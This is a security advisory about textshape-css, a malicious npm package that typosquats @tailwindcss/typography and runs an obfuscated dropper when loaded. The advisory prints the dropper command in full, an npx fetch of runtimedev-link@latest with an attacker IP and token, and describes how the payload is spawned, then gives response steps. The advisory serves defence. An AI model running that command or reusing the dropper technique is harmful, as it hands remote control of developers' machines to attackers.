textshape-cssnpm
Advisory published Updated
textshape-css is a confirmed malicious npm package (MAL-2026-6475) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in textshape-css (npm)
What this malware does
The package presents itself as a Tailwind CSS typography plugin (its name, description, and source tree clone @tailwindcss/typography), but src/index.js appends an obfuscated payload that runs at module load. Char-code arrays at the bottom of src/index.js decode to child_process, spawn/exec, /bin/sh, and the command npx -y runtimedev-link@latest --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9". A trailing _.y(); invokes this immediately whenever any consumer does require('textshape-css') / import 'textshape-css'. On POSIX it spawns /bin/sh -c 'nohup... >/dev/null 2>&1' detached with stdio ignored; on Windows it goes via child_process.exec with windowsHide. The effect is to fetch and run an unpinned third-party npm package (runtimedev-link@latest) that beacons to a bare IP (194.11.226.41:4000) over plain HTTP with an attacker-supplied token — a remote-code-execution dropper. The package name and description are a near-verbatim typosquat of @tailwindcss/typography, targeting developers searching for that plugin.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for textshape-css (version 1.0.0).
If you installed it — respond
textshape-css establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If textshape-css was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks textshape-css-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.